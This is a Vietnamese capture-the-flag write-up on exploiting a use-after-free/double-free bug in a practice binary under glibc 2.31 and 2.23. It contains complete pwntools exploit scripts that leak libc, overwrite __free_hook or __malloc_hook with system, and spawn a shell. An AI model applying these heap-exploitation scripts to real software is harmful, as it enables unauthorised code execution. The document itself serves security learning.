# (writeup) Practice Heap Exploit
- challenge này cùng một file binary nhưng version libc khác nhau
- basic file check

- check ida

- hàm **menu()** đơn giản là in các option cho mình thôi

- nhìn vào ida, ta có thể thấy lỗi UAF hoặc DBF
```c
ptr = malloc(size[0]);
---
free(ptr)
```
> vì không xoá con trỏ sau khi **free()**
- địa chỉ **ptr** = 0x404058
## 2.31
- glibc này sẽ có tcache, nhưng vẫn có BUG để ta khai thác
- trigger thử DBF

> khi tạo thử 1 chunk rồi free 2 lần
> có kiểm tra lỗi DBF ở tcache
- tiếp tục là BUG nhỏ
```c
*((_BYTE *)ptr + (unsigned int)(size[0] - 1)) = 0;
```
> setup cuối chuỗi payload là NULL byte
> không phải thêm cuối chuỗi là NULL byte (tránh hiểu nhầm ở đây)
- **malloc()** thử rồi ta **free()** nó
- kiểm tra chunk

- lúc này thấy sau khi **free()**, bk ở chunk thứ 2 nó lại trùng với chunk thứ 1 (bk là ptr trỏ về tcache_perthread_struck)
- để có thể bypass lỗi DBF ở tcache thì chỉ còn cách xoá bk trỏ về tcache_perthread_struct
- vậy nếu ta chọn option2 để tiếp tục thay đổi nội dung là NULL byte thì sao

>``loop detected`` ---> trigger thành công
- bins

- :bulb: idea: vì k có system hay đọc flag nên hướng đi ---> tạo shell bằng kỹ thuật ow_free_hook
### leak libc
- ta cần leak libc đầu tiên
- nhưng không thể đưa vào ubin để show được
- idea nho nhỏ là lấy ``IO_2_1_stdout`` ở trong bài hook dreamhack
- nhưng có lẽ không dc, vì stdout là dữ liệu ra, hiện tại k có dữ liệu ra thì k dc, stdin cũng tương tự v
- nên chỉ còn stderr là phương án cuối cùng (PIE tắt nên khả thi)
- chọn option2 để đổi content thành ``exe.sym['stderr']`` (vẫn nằm trong tcache)
> lúc này **ptr** sẽ là 0x404040 (địa chỉ stderr của exe)
- ta sẽ chọn option1 2 lần để tạo thêm 2 malloc để sửa chunks
- malloc đầu để lấy chunk loop ra
- nhưng ở lần malloc thứ 2 ta sẽ ghi 1 byte cuối là '\xc0' để không thay đổi stderr

> ghi '\xc0' tại địa chỉ 0x404040 trỏ tới stderr

- và chọn option4 để in ra (in **ptr**)
> do ida sẽ in content của biến **ptr**

- nó sẽ in ra byte, ta sẽ sài u64() thay vì ``p.recvline()[:-1]``

> đuôi base 000 có vẻ đúng r
### ow free_hook -> system
- ta sẽ tiếp tục double free
- rồi ghi ``__free_hook`` (tương tự cái trên)

> **ptr** hiện tại là libc_free_hook
- rồi ta tiếp tục option1 2 lần để malloc 2 cái
> cái đầu lấy loop ra
> cái thứ hai thì cứ ghi đại vô

- option2 sửa lại content thành địa chỉ system

> sửa **ptr** hiện tại là dữ liệu nhập đại thành **system**
- system xong thì ta sẽ thêm 1 malloc chứa chuỗi '/bin/sh\0'

> đã thêm '/bin/sh\0'
- rồi free lần nữa là sẽ có shell

> $rdi là chuối '/bin/sh\0'
> khi free sẽ qua bước kiểm tra free_hook
> free_hook ban đầu là 0, nhưng nếu có giá trị tồn tại thì sẽ thực thi cái đó

- script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('./chall1_patched', checksec=False)
libc = ELF('./libc-2.31.so', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+78
b*main+155
b*main+241
b*main+407
b*main+419
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
GDB()
def add(size,data):
sla(b'> ',b'1')
sla(b'Size: ',str(size))
sa(b'Content: ',data)
def delete():
sla(b'> ',b'3')
def edit(data):
sla(b'> ',b'2')
sa(b'Content: ',data)
def show():
sla(b'> ',b'4')
###################
### double free ###
###################
add(0x30,b'hlaanisme')
delete()
edit(b'\0'*0x30)
delete()
#################
### leak libc ###
#################
edit(p64(exe.sym["stderr"]))
add(0x30,b'hlaanisme')
add(0x30,b'\xc0')
show()
p.recvuntil(b"Content: ")
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['_IO_2_1_stderr_']
info("libc_leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
####################
### ow_free_hook ###
####################
add(0x30,b'hlaanisme')
delete()
edit(b'\0'*0x30)
delete()
edit(p64(libc.sym['__free_hook']))
#################
### ow system ###
#################
add(0x30,b'hlaanisme')
add(0x30,b'hlaanisme')
edit(p64(libc.sym['system']))
#########################
### /bin/sh get_shell ###
#########################
add(0x30,b'/bin/sh\0')
delete()
p.interactive()
```
---
## 2.23
- ở phiên bản libc này không có tcache nên khi free sẽ được đưa vào fastbins
- nhưng fastbin có cơ chế chống DBF
- ta khó có thể đưa 1 chunk vào ubin
- trên fastbin sẽ có 1 thứ gọi là idx và size
- vì cơ chế trong fastbin nó khá chặt chẽ hơn tcache
### leak libc
- ta có thể leak libc nhờ vào stderr có trên exe
- để làm điều đó, ta cần đưa stderr vào fastbin, đồng thời phải thoả size khi malloc ra giống với idx size

>ở vị trí stderr-19 sẽ có fake size 0x7f ~ 0x70
- để leak libc ra ta phải padding 3 byte nhằm mục đích nối chuỗi libc

```python
add(0x68,b'hlaan')
delete()
edit(p64(exe.sym['stderr']-19))
add(0x68,b'hlaan')
add(0x68,b'a'*3)
show()
p.recvuntil(b'a'*3)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['_IO_2_1_stderr_']
info("libc_leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
```
### malloc_hook + one_gadget
- sau khi leak libc, lần **edit()** tiếp theo sẽ lấy tại địa chỉ ``0x52f9d9c540000000`` ---> sửa content từ địa chỉ 0x40403d là stderr-11
- ta sẽ thay đổi **ptr** có địa chỉ là 0x404058
- nhận thấy rằng stderr là 0x404040, địa chỉ đang thay đổi là 0x40403d
- mục tiêu sẽ là tạo fake chunk để ow **ptr**
- và khi **free(ptr)** trong fastbin, nó sẽ check size của next_chunk khác 0
- hiện tại:
```python
0x40403d : ---> write from here
0x404040
0x404058 : ---> ptr (0x40403d)
```
- fake:
```python
0x40403d : 0x31 (fake size)
#chunk 0x404035: 0x7f #0x40403d: 0x31
#reloc 0x404045: ---> edit goes here, need malloc at 0x404035
0x404040 : 0
0x404058 : ---> ptr(0x404040) #not matter
0x404098 : 0x41 #next size
0x4040a0 : fake_chunk
```
- ta sẽ làm mẫu fake size là 0x31 ~ malloc size 0x20
- cứ **add()**, **delete()** rồi **edit()** với content là 0x404035 (stdin+5)
```python
add(0x20,b'hlaan')
delete()
edit(p64(exe.sym['stdin']+5))
add(0x20,b'hlaan')
```
- tiếp tục với fake next size (0x41 cần malloc size 0x30)
- đồng thời ta setup con trỏ khi ``__malloc_hook`` là '/bin/sh' (setup luôn next_size của next_chunk)
```python
add(0x30,b'hlaan')
delete()
edit(p64(0x4040a0-0x10))
add(0x30,b'hlaan')
payload = b'/bin/sh\0' + p64(0) #0x4040a0 #0x4040a8
payload += p64(0) + p64(0x51) #0x4040b0 #next_size_of_next_chunk
add(0x30,payload)
```
- sau đó ta sẽ setup fake_chunk ta cần phải có size 0x71 (vì ở ``__malloc_hook - 35`` có size phù hợp là 0x7f )
- ta sẽ setup sao cho **ptr** trỏ về địa chỉ mà fake size thành 0x71
- **free(ptr)** rồi **edit()** thành ``__malloc_hook - 35``, ---> lần malloc tiếp theo request size 0x68 là có thể ow thành **system**
- cuối cùng là request size(arg = **$rdi**) cho malloc thành địa chỉ chứa '/bin/sh\0' là có shell

- script:
```python
#!/usr/bin/python3
from pwn import *
exe = ELF('./chall1_patched', checksec=False)
libc = ELF('./libc-2.23.so', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+78
b*main+155
b*main+241
b*main+407
b*main+419
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('')
else:
p = process(exe.path)
def add(size,data):
sla(b'> ',b'1')
sla(b'Size: ',str(size))
sa(b'Content: ',data)
def delete():
sla(b'> ',b'3')
def edit(data):
sla(b'> ',b'2')
sa(b'Content: ',data)
def show():
sla(b'> ',b'4')
GDB()
#################
### leak libc ###
#################
add(0x68,b'hlaan')
delete()
edit(p64(exe.sym['stderr']-19))
add(0x68,b'hlaan')
add(0x68,b'a'*3)
show()
p.recvuntil(b'a'*3)
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - libc.sym['_IO_2_1_stderr_']
info("libc_leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
ptr = 0x404058
##################
### setup ###
##################
payload = b'\x31' + b'\0\0'
payload += p64(0)*2
payload += p64(0) + p64(exe.sym['stderr']) #404050 #ptr
payload += b'a'*8*6 + p64(0)
payload += p64(0x41)
edit(payload)
##################
### fake chunk ###
##################
add(0x20,b'hlaan')
delete()
edit(p64(exe.sym['stdin']+5))
add(0x20,b'hlaan')
##################
### next chunk ###
##################
add(0x30,b'hlaan')
delete()
edit(p64(0x4040a0-0x10))
add(0x30,b'hlaan')
payload = b'/bin/sh\0' + p64(0) #0x4040a0 #0x4040a8
payload += p64(0) + p64(0x51) #0x4040b0 #next_size_of_next_chunk
add(0x30,payload)
###################
### malloc_hook ###
###################
payload = b'\0'*3 + p64(0x71) #0x404045 #0x404048(fake_size)
payload += p64(0) + p64(exe.sym['size']) #size #ptr
add(0x20,payload)
delete()
payload = p64(libc.sym['__malloc_hook']-35)
edit(payload)
add(0x68,b'hlaan')
payload = b'\0'*19 + p64(libc.sym['system'])
add(0x68,payload)
#######################
### trigger aborted ###
#######################
sla(b'> ',b'1')
sla(b'Size: ',str(0x4040a0)) #fake_next_chunk have '/bin/sh\0'
p.interactive()
```